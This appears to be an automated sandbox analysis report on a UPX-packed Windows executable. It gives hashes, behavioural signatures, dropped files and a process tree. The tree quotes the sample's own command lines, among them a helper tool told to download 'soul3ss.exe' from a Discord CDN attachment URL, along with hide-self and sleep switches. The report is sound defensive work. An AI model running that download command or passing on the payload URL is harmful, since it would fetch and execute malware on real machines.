65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

General

Target

e16f915796d4762014fc3864d4444ac3.exe
Size

449KB
MD5

e16f915796d4762014fc3864d4444ac3
SHA1

819364784cf0d3fe440b6c9a3950de7fa093e805
SHA256

65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd
SHA512

1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a
SSDEEP

12288:K5oaqjp/9TTRxMwrxKkfk41vD1I6lgVYCAOQlgm:K5v4DTTzRtR1rOuWTQt

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
2980	extd.exe
2776	extd.exe
2252	extd.exe
2704	extd.exe

Loads dropped DLL 8 IoCs

pid	Process
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe
2916	cmd.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000800000001342b-5.dat	upx
behavioral1/memory/2980-8-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2980-9-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2776-13-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2776-14-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2916-21-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2252-23-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2704-31-0x0000000140000000-0x00000001400D8000-memory.dmp	upx
behavioral1/memory/2704-33-0x0000000140000000-0x00000001400D8000-memory.dmp	upx

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 2916	2064	e16f915796d4762014fc3864d4444ac3.exe	29
PID 2064 wrote to memory of 2916	2064	e16f915796d4762014fc3864d4444ac3.exe	29
PID 2064 wrote to memory of 2916	2064	e16f915796d4762014fc3864d4444ac3.exe	29
PID 2916 wrote to memory of 2980	2916	cmd.exe	30
PID 2916 wrote to memory of 2980	2916	cmd.exe	30
PID 2916 wrote to memory of 2980	2916	cmd.exe	30
PID 2916 wrote to memory of 2776	2916	cmd.exe	31
PID 2916 wrote to memory of 2776	2916	cmd.exe	31
PID 2916 wrote to memory of 2776	2916	cmd.exe	31
PID 2916 wrote to memory of 2252	2916	cmd.exe	32
PID 2916 wrote to memory of 2252	2916	cmd.exe	32
PID 2916 wrote to memory of 2252	2916	cmd.exe	32
PID 2916 wrote to memory of 2704	2916	cmd.exe	33
PID 2916 wrote to memory of 2704	2916	cmd.exe	33
PID 2916 wrote to memory of 2704	2916	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe
"C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\41.bat C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2980
- - C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2776
- - C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/879335227095416884/879356613826314250/soul3ss.exe" "soul3ss.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2252
- - C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe "/sleep" "9000009" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2704

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\41.bat

Filesize
938B

MD5
8015a4f65999ba82b3b6eed33abf2887

SHA1
67c4ee11d548a4c401279802b6133c962ab4fcdb

SHA256
4702d40608e52d640a72b2960f9927d359e9bcd9b64f30cd2e7b1ec78fee1113

SHA512
93c8fe9818db6d4ff73b60636bc30752b73cf5a32b48611cfbb34d4a531fb6979790eb73ca6fa7a363824896cd513d67c8830120c2d4ea6887c2f630db6decbe

Download Submit
\Users\Admin\AppData\Local\Temp\3F.tmp\40.tmp\extd.exe

Filesize
326KB

MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
memory/2252-23-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2704-31-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2704-33-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2776-13-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2776-14-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2916-6-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2916-21-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2916-32-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2980-8-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download
memory/2980-9-0x0000000140000000-0x00000001400D8000-memory.dmp

Filesize
864KB

Download

Analysis

Sharing